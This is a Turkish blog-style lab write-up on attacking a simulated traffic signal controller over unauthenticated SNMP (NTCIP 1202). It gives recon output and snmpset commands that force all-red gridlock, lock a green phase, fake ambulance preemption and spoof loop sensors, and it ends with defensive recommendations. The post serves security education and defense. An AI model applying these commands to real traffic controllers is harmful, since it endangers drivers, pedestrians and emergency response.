Her gün belki yüz defa altından geçiyoruz ama hemen hiç kimse bakmıyor: trafik ışığının dibinde, kaldırıma yapıştırılmış o gri metal kabin. İçinde ne var, kim kontrol ediyor, neyle konuşuyor, çoğumuz için bir kutu. Bense şöyle düşünüyorum: her kavşak, sokak ortasında çalışan açık bir embedded sistem. Ve bu yazıda o sistemi sıfırdan sanal ortamda kurup üstüne saldırmayı anlatacağım.
Önceden uyarayım: bu yazıdaki her şey kendi laboratuvarımda, Eclipse SUMO ile kurduğum sanal kavşak üzerinde yapıldı. Gerçek bir trafik sistemine kesinlikle dokunulmadı, ama göstereceğim şeyler, dünyanın birçok şehrinde aynen geçerli olan protokollerle yapıldı.
Sokaktaki Gri Kutu
Trafik ışığı dediğimiz şey aslında iki parçadan oluşuyor: birincisi, hepimizin bildiği signal head, direk üstündeki kırmızı/sarı/yeşil lambalar. İkincisi ve asıl önemlisi, kaldırımda duran o gri kabin: traffic controller cabinet. Lambalar sadece çıktı; karar veren, zamanlamayı hesaplayan, sensörleri dinleyen şey kabinin içi.
Kabinin içinde bizim için ilginç olan birkaç şey var. CPU kartı (genelde özelleştirilmiş bir Linux veya RTOS koşturuyor), conflict monitor (donanım seviyesinde "iki yön aynı anda yeşil olamaz" failsafe'i), BIU/MIO kartları (signal head'lere giden röleler, 120V switching), detector arayüzü (sensörlerden gelen sinyalleri okuyan ADC) ve communications modülü (TMC'ye yani trafik kontrol merkezine giden Ethernet/4G/RF link).
Sadece kabini değil, ona ulaşmanın yollarını da yukarıdaki diyagramda topladım. Hepsi birden farklı bir yazının konusu olabilir, bu yazıda 04 numaralı vektörü, yani NTCIP/SNMP'yi derinleştireceğim. Sebebi basit: bu vektör hem en yaygın hem de sahada hala şaşırtıcı derecede açık.
Trafik Işığı 101: Phase, Ring, Barrier
Saldırmadan önce sistemi anlamak gerek (yine ve yine). Trafik mühendisleri kavşakları çok özel bir dille tarif ediyorlar, bu dili öğrenince saldırı yüzeyi netleşiyor.
Temel birim phase (faz). Bir faz, kavşağın belirli bir hareketine yeşil veren süre demek. Klasik bir 4 kollu kavşakta NEMA standardına göre 8 faz vardır: 4 ana doğrultu (kuzey-güney düz, doğu-batı düz) artı 4 sol dönüş. Faz sayısı kavşağın karmaşıklığıyla orantılı.
Fazlar yan yana çalışmaz, ring ve barrier diye gruplanır. Aynı ring'deki fazlar bir bütün, barrier'lar farklı yön gruplarını birbirinden ayırır. Yani sistem aslında bir hayli düzgün bir sonlu durum makinesi (finite state machine), ve bunu söyleyince offsec tarafı için bir şey değişti: state machine'i biz de yazabiliriz.
Bir de görünmeyen kahraman var: conflict monitor. Bu donanım kartı CPU'dan tamamen bağımsız çalışıyor. Eğer CPU bir saçmalık yazıp "kuzey ve doğu aynı anda yeşil olsun" derse, conflict monitor anında devreye girip kavşağı flash mode'a (genelde tüm yönler sarı yanıp sönen) alıyor. Bu, fiziksel bir sigorta gibi. Bizim saldırılarımızın bir kısmı bu duvara çarpıyor, bunu özellikle vurgulamak istiyorum, çünkü insanları öldürecek senaryoları herkesin film düşüncesinde çok ucuza geçiyor; gerçekte conflict monitor o kadar kolay aşılmıyor.
Sensörler ve Algoritma: Adaptif Sistemler
Modern kavşaklar artık sadece "her yöne 30 saniye yeşil ver" diye çalışmıyor. Sensörlerden okudukları araç yoğunluğuna göre fazları uzatıp kısaltıyorlar, buna adaptif kontrol deniyor.
Saha tarafında üç ana sensör tipi var:
- Induction loop: Asfaltın altında kare şeklinde kesilmiş bakır tel halka. Üzerinden metal bir araç geçince elektromanyetik alanı bozuyor, kontrolcüye "araç var" sinyali geliyor. En yaygın, en eski, en güvenilir, ve en kolay spoof edilen sensör türü (kontrolcüye giden kabloya sahte sinyal enjekte etmek yetiyor).
- Radar / mikrodalga: Wavetronix gibi cihazlar yolun yanına monte ediliyor, mikrodalga yansımasından hız ve araç sayısı çıkarıyor. Daha pahalı ama daha az "açık".
- Kamera tabanlı: Iteris, Autoscope. Görüntü işleme ile araçları sayıyor. Yağmurda, sisli havada zayıflıyor ama avantajı yön bilgisi.
Yukarıdaki sensörlerden gelen veriyi yorumlayan algoritmalar: SCATS (Avustralya menşeli, dünyanın birçok şehrinde, İstanbul dahil, kullanılıyor), SCOOT (İngiltere), MOVA, RHODES. Hepsinin ortak mantığı şu: sensörden gelen araç akışını sürekli izle, fazları gerçek zamanlı optimize et, komşu kavşaklarla offset'leri koordine ederek "yeşil dalga" yarat.
Burası saldırgan için kritik bir noktayı söylüyor: algoritma sensörlere körü körüne güveniyor. Bu sensörlerden birini bile yanıltabilirsek, algoritma bizim ürettiğimiz sahte gerçekliğe göre kavşağı yönetir. Bu yazının sonundaki saldırılardan biri tam olarak bu, loop spoofing.
NTCIP 1202: Asıl Eğlence Burada
Şimdi yazının protokol kısmı. NTCIP, National Transportation Communications for ITS Protocol, ABD'de doğmuş ama dünyaya yayılmış bir standart ailesi. 1202 numaralı belge spesifik olarak trafik sinyal kontrolcüsü için "şu OID'ler şu anlama gelir" diyen bir MIB tanımı. Yani NTCIP 1202 aslında SNMP'nin üzerine geçirilmiş bir tematik elbise.
SNMP'yi bilenler ne demek istediğimi tahmin ediyordur ama yine de altını çizeyim: SNMP v2c'de yetkilendirme community-string denilen düz metin parolayla yapılıyor. Auth yok, şifreleme yok, imza yok. Vendor'lar genelde "public" (read) ve "private" (write) gibi default değerlerle kutuyu sahaya gönderiyor. Sahada bunu kim değiştirir? Maalesef genelde hiç kimse. Bunu çok genelleme gibi söylediğimin farkındayım ama dünyanın değişik şehirlerinden çıkan araştırmalar sürekli aynı şeyi gösteriyor (Cesar Cerrudo'nun 2014 DEF CON çalışması bu konuda klasiktir).
Yukarıdaki diyagramda bir snmpset komutu, attacker'ın laptop'undan başlayıp kavşağın direğindeki kırmızı lambaya kadar uzanıyor. Ortada hiçbir kimlik doğrulama yok. Bu yazının pratik kısmı tam olarak bu yolu yürümek üzerine.
Lab Kurulumu: Sanal Bir Kavşak ve Sahte Bir Kontrolcü
Gerçek bir kavşağa dokunmak hem yasak hem de aptalca olduğu için her şeyi sıfırdan sanal ortamda kurdum. Üç parça var:
- Eclipse SUMO, açık kaynak trafik simülatörü. 4 kollu sinyalize kavşak, 8 araç akış rotası, dakikada ortalama 60 araç. Tactical/dark tema verdim ki SS'lerde göze hoş görünsün.
- Python tabanlı NTCIP 1202 emülatörü,
pysnmpile yazdığım bir SNMP v2c agent. UDP/1161 dinliyor (gerçeği UDP/161, ben non-privileged port seçtim). Vendor branch1.3.6.1.4.1.1206.4.2.1.1altında trafik kontrolcüsünün anahtar değişkenlerini OID olarak yayıyor:currentPhase,greenTime,forceAllRed,greenLockPhase,preemptionPhase,loopSpoofMask. - TraCI köprüsü, aynı Python sürecinde çalışan ikinci bir thread. SNMP üzerinden değişen değerleri okuyup SUMO trafik ışığının state string'ine yazıyor. Yani bir saldırgan SNMP üstünden
forceAllRed = 1dediği anda, SUMO'daki kavşak gerçekten tüm yönleri kırmızıya çeviriyor.
Bu yapının güzel yanı şu: saldırgan tarafı tamamen gerçek. snmpset komutları aynen Net-SNMP'de yazılırken kullanılacak şekilde. Yani lab'da yaptığım her şey, ortada gerçek bir NTCIP 1202 controller olsa aynen çalışırdı.
Recon: Banner Grabbing ve OID Walk
Saldırının her zaman ilk adımı: hedefin ne olduğunu öğrenmek. SNMP'de bunu yapmak çok kolay, çünkü cihaz sana kim olduğunu söylüyor.
$ python recon.py ------------------------------------------------------------------------ STEP 1 // SNMP banner grabbing ------------------------------------------------------------------------ target: 127.0.0.1:1161 community: public OID : 1.3.6.1.4.1.1206.4.2.1.1.99.0 (vendor branch 1.3.6.1.4.1.1206 = NTCIP) -> MUCAHIC-LAB-CTRL // NTCIP 1202 // FW 3.14 // FAB MOCKUP ------------------------------------------------------------------------ STEP 2 // current phase + timing ------------------------------------------------------------------------ currentPhase = 2 (1=NS green, 2=EW green) greenTime = 25 s ------------------------------------------------------------------------ STEP 3 // OID walk (.1.3.6.1.4.1.1206.4.2.1.1) ------------------------------------------------------------------------ LABEL OID VALUE ---------------------- -------------------------------------- --------- currentPhase 1.3.6.1.4.1.1206.4.2.1.1.1.0 2 greenTime 1.3.6.1.4.1.1206.4.2.1.1.2.0 25 forceAllRed 1.3.6.1.4.1.1206.4.2.1.1.3.0 0 greenLockPhase 1.3.6.1.4.1.1206.4.2.1.1.4.0 0 preemptionPhase 1.3.6.1.4.1.1206.4.2.1.1.5.0 0 loopSpoofMask 1.3.6.1.4.1.1206.4.2.1.1.6.0 0 sysBanner 1.3.6.1.4.1.1206.4.2.1.1.99.0 MUCAHIC-LAB... ------------------------------------------------------------------------ STEP 4 // community-string degerlendirmesi ------------------------------------------------------------------------ read-only community : 'public' -> tum OID'ler okunabilir read-write community : 'private' -> tum OID'ler set edilebilir saldirgan: bu controller'i tam yetkiyle yonetebilir.
İlk OID değeri (99.0 banner) bize cihazın ne olduğunu söylüyor. Bu lab versiyonu açıkça MUCAHIC diyor, sahadaki bir cihaz çoğunlukla Econolite Cobalt, Siemens Sitraffic, Swarco MR, McCain gibi vendor + model bilgisi veriyor. Bu kadarı bile sosyal mühendislik için yeterli, vendor'a "bakım personeli" gibi davranmak için.
OID walk'tan kırmızıyla işaretlediğim 4 değişken saldırı vektörümüz. Hepsi writable, hepsi auth'suz erişilebilir, ve hepsi kavşağın davranışını doğrudan etkileyen şeyler.
Baseline: Normal Çalışan Kavşak
Yukarıdaki ekranda hiçbir saldırı yapılmamış, sistem kendi haline bırakılmış. Doğu-batı (yatay) yönü şu an yeşil, araçlar kavşaktan akıyor. Kuzey-güney (dikey) yönü kırmızıda, kuyruk birikiyor, tamamen normal davranış. Fazlar 25 saniye yeşil + 3 saniye sarı + 2 saniye all-red düzeninde dönüyor.
Saldırılar
Asıl eğlence burada başlıyor. Her saldırı tek bir snmpset komutu. İlerlemeden önce komutun anatomisini parçalayayım, çünkü "şu garip uzun sayı" gibi durmasın istiyorum:
$ snmpset -v2c -c private 127.0.0.1:1161 .1.3.6.1.4.1.1206.4.2.1.1.3.0 i 1 └─┬─┘ └────┬───┘ └──────┬──────┘ └─────────┬──────────────┘ │ │ │ │ │ │ │ └─ yeni deger │ │ │ │ └─ tip: Integer32 (i) │ │ │ └─ OID: yazilacak MIB degiskeni │ │ └─ hedef controller (UDP 161 / gercekte) │ └─ community-string (auth yerine gecen "parola") └─ SNMP v2c (v3 olsa auth+priv olurdu) OID'in son iki basamagi ki MIB degiskenini soruyor. Bizim mini-MIB: 1.3.6.1.4.1.1206.4.2.1.1.1.0 -> currentPhase (read-only sahada okumak icin) 1.3.6.1.4.1.1206.4.2.1.1.2.0 -> greenTime (saniye, faz suresi) 1.3.6.1.4.1.1206.4.2.1.1.3.0 -> forceAllRed (1 = tum yonler kirmizi) 1.3.6.1.4.1.1206.4.2.1.1.4.0 -> greenLockPhase (1=NS, 2=EW kilit) 1.3.6.1.4.1.1206.4.2.1.1.5.0 -> preemptionPhase (sahte ambulans yonu) 1.3.6.1.4.1.1206.4.2.1.1.6.0 -> loopSpoofMask (4-bit, N/E/S/W loop spoof)
Yani aslında her bir saldırı, "bu controller'ın iç değişkenlerinden birine sıfırdan farklı bir sayı yaz" demekten ibaret. NTCIP 1202'nin tüm trafik yönetim arayüzü bu MIB üzerinden çalıştığı için, yazma yetkisi olan biri (community-string'i bilen) için kavşak resmen bir API.
01 // Eternal Red, Gridlock Saldırısı
Amaç basit: forceAllRed alanına 1 yaz, tüm yönler kırmızıya kilitlensin.
$ snmpset -v2c -c private 127.0.0.1:1161 .1.3.6.1.4.1.1206.4.2.1.1.3.0 i 1 // hedef alan: forceAllRed // gonderdigimiz deger: Integer32 = 1 // authorization: community="private" (RW yetkisi) SNMPv2-SMI::enterprises.1206.4.2.1.1.3.0 = INTEGER: 1 ^^^ controller'in dondurdugu read-back: "set kabul edildi, yeni deger 1" [+] forceAllRed = 1 -> controller faz scheduler'i devre disi birakti 4 yon de kirmizi, conflict monitor bunu hata saymiyor cunku ortada yesil-yesil cakismasi yok.
10-15 saniye sonra durum şöyle:
Sonuç tam istediğimiz: hiçbir yön akmıyor. Saldırının asıl etkisi anlık değil; sürdükçe arka sokaklara taşan kuyruk. Ana arterlerde 4-5 dakika bu saldırı bir bölgenin tamamını kilitler. Tek dezavantajı: tespit edilmesi de görece kolay, çünkü trafik mühendisi merkezdeki HMI'da kavşağın bu davranışını anında görür. Yine de "fark edilene kadar 10 dakika" çoğu durumda yeterli.
02 // Green Forever, Bir Yöne Sonsuz Yeşil
Bu saldırı daha sinsi: kavşak çalışıyor gibi görünüyor, ama bir yön asla kırmızı olmuyor. Bu kez greenLockPhase alanına yazıyoruz:
$ snmpset -v2c -c private 127.0.0.1:1161 .1.3.6.1.4.1.1206.4.2.1.1.4.0 i 1 // hedef alan: greenLockPhase // deger anlami: 1 = NS yonunu yesilde kilitle, 2 = EW yonunu kilitle, 0 = serbest // gonderilen tip: Integer32 SNMPv2-SMI::enterprises.1206.4.2.1.1.4.0 = INTEGER: 1 [+] greenLockPhase = 1 -> phase scheduler dongusu kirildi. NS sonsuza kadar yesil, EW hic yesil gormeyecek. conflict monitor pasif kaliyor (cunku tek yon yesil, cakismasi yok).
Görüldüğü gibi yatay kol (EW) artık hareket edemiyor, çünkü kavşağa giriş hakkı verilmiyor. Bu saldırının trafik mühendislerini deli eden yanı şu: sistem çalışıyor. Hata loguna düşmüyor, conflict monitor tetiklenmiyor (çünkü ortada conflict yok, sadece tek bir yönden geliyor yeşil), faz değişiyor görünüyor, sadece bir yöne hiç kırmızı gelmiyor.
03 // Preemption Spam, Sahte Ambulans
Preemption, ambulans/itfaiye geldiğinde kavşağı geçici olarak o yöne yeşil çevirmek için var. Genelde Opticom IR strobe veya GPS tabanlı çalışıyor. NTCIP üstünden de tetiklenebilir, ve auth yok. preemptionPhase'e yazıyoruz:
$ snmpset -v2c -c private 127.0.0.1:1161 .1.3.6.1.4.1.1206.4.2.1.1.5.0 i 2 // hedef alan: preemptionPhase // deger anlami: 0 = preemption kapali, 1 = NS oncelik, 2 = EW oncelik // gonderilen tip: Integer32 SNMPv2-SMI::enterprises.1206.4.2.1.1.5.0 = INTEGER: 2 [+] preemptionPhase = 2 -> controller "EW yonunden ambulans geliyor" sandi, fazi anlik EW'ye gecirdi, sahte sinyali tekrar tekrar gonderdigimiz icin kavsak emergency modunda KILITLENDI. Asil komik tarafi: simdi GERCEK bir ambulans gelse sistem zaten preempt durumda oldugu icin etkisini yitiriyor.
Gerçek dünyada bu saldırının iki etkisi var. Birincisi, fiziksel akış: bir yön sürekli açık, diğerlerinde ciddi kuyruk. İkincisi, daha kötüsü, operasyonel: gerçek bir ambulans geldiğinde sistem zaten "preemption aktif" durumda olduğu için ya tetiklenmiyor ya da öncelik veremiyor. Yani sahte ambulans, gerçek ambulansın kavşağı geçemediği bir senaryo yaratıyor.
04 // Loop Spoofing, Sahte Araçlar
Son saldırı sensör tarafına. Adaptif algoritmalar (SCATS / SCOOT vb.) induction loop'tan gelen "araç var" sinyaline göre faz uzatıp kısaltıyor. Bu sinyali biz üretirsek? loopSpoofMask alanı bir 4-bit alan: her bit bir yön (N=1, E=2, S=4, W=8).
$ snmpset -v2c -c private 127.0.0.1:1161 .1.3.6.1.4.1.1206.4.2.1.1.6.0 i 5 // hedef alan: loopSpoofMask // deger anlami: 5 = 0b0101 -> bit0 (N) + bit2 (S) aktif // gonderilen tip: Integer32 SNMPv2-SMI::enterprises.1206.4.2.1.1.6.0 = INTEGER: 5 [+] loopSpoofMask = 0b0101 -> kuzey ve guney loop'lari surekli "arac var" diyor. Adaptif algoritma bu yonleri yogun sayip fazlari NS lehine uzatiyor. EW kolu fiilen yari sure aliyor; bos yola yesil yanmiyor, gercek arac olan yer kuyrukta bekliyor. Tespiti en zor saldiri: sistem "dogru" calisiyor.
Burada SUMO'ya gerçekten sahte araçlar enjekte ediyorum (mask=0b0101, yani kuzey+güney). Adaptif kontrol bunu görüp "kuzey-güney çok yoğun, daha çok yeşil ver" diye karar verir. Boş yolda yeşil. Gerçek hayatta bunu görsel olarak fark etmek çok zor, çünkü algoritma "doğru" çalışıyor; sadece girdiği veri yalan.
Savunma ve Son Söz
Yazıyı bitirmeden savunma tarafını da yazmam gerek, çünkü yukarıdaki saldırıların çoğunu anlamlı bir korumayla öldürmek mümkün.
- Community-string değiştir. "public/private" default'larını terk edin. Sürpriz olmasın, bu en temel adım hala atlanıyor.
- SNMP'yi management VLAN'ına hapset. Saha kabini ile TMC arasındaki ağ flat olmamalı. Layer-3 ACL ile sadece TMC IP'leri kabin SNMP portuna ulaşabilsin.
- SNMPv3'e geç. v3'ün auth+priv profili community-string saçmalığını çözüyor. NTCIP 1218 (güncel sürüm) zaten v3'ü vurguluyor.
- Conflict monitor'a güven, ama denetle. Donanım failsafe iyi de, periyodik test edilmeli. Bazı yerlerde yıllarca kalibrasyondan geçirilmediği biliniyor.
- Vendor remote'u kapat veya jump host arkasına al. Bakım VPN'i 7/24 açık olmaz; ihtiyaç anında MFA arkasından kısa süreli izin verilir.
- Loop sensör girişlerine fiziksel erişimi kontrol et. Asfaltın altındaki kabloya erişim genelde çok kolay; pull box kilitlemek bile çok şey değiştiriyor.
Son söz
Bu yazıyla şunu göstermek istedim: akıllı şehir dediğimiz şey, çoğu zaman yıllardır aynı kalan, auth'suz protokoller üzerinde dans eden eski sistemlerin yeni isimle paketlenmiş hali. Trafik ışığı 1990'larda da bir kontrolcüydü, bugün de kontrolcü; aradaki tek fark ona uzaktan ulaşmanın daha kolay olması. Bu kolaylık savunma için bir nimet ama saldırgan için de o.
Lab'ın tüm kaynak kodu, SUMO senaryosu, NTCIP 1202 emülatörü ve saldırı CLI'si MIT lisansıyla GitHub'da: github.com/Mucahic/ntcip-1202-lab. Kuralım dedin mi, pip install -r requirements.txt ve tek python komutu yeterli. Geri bildirim/PR çok kıymetli.
Okuduğunuz için teşekkürler. Yanlış bulduğunuz yerleri, eklemek istediklerinizi bana yazarsanız çok memnun olurum, bu işin sahası geniş, hatadan dönmek başka türlü olmuyor :)
// RAPOR SONU, MUCAHIC / OP-0042 / 2026.05.14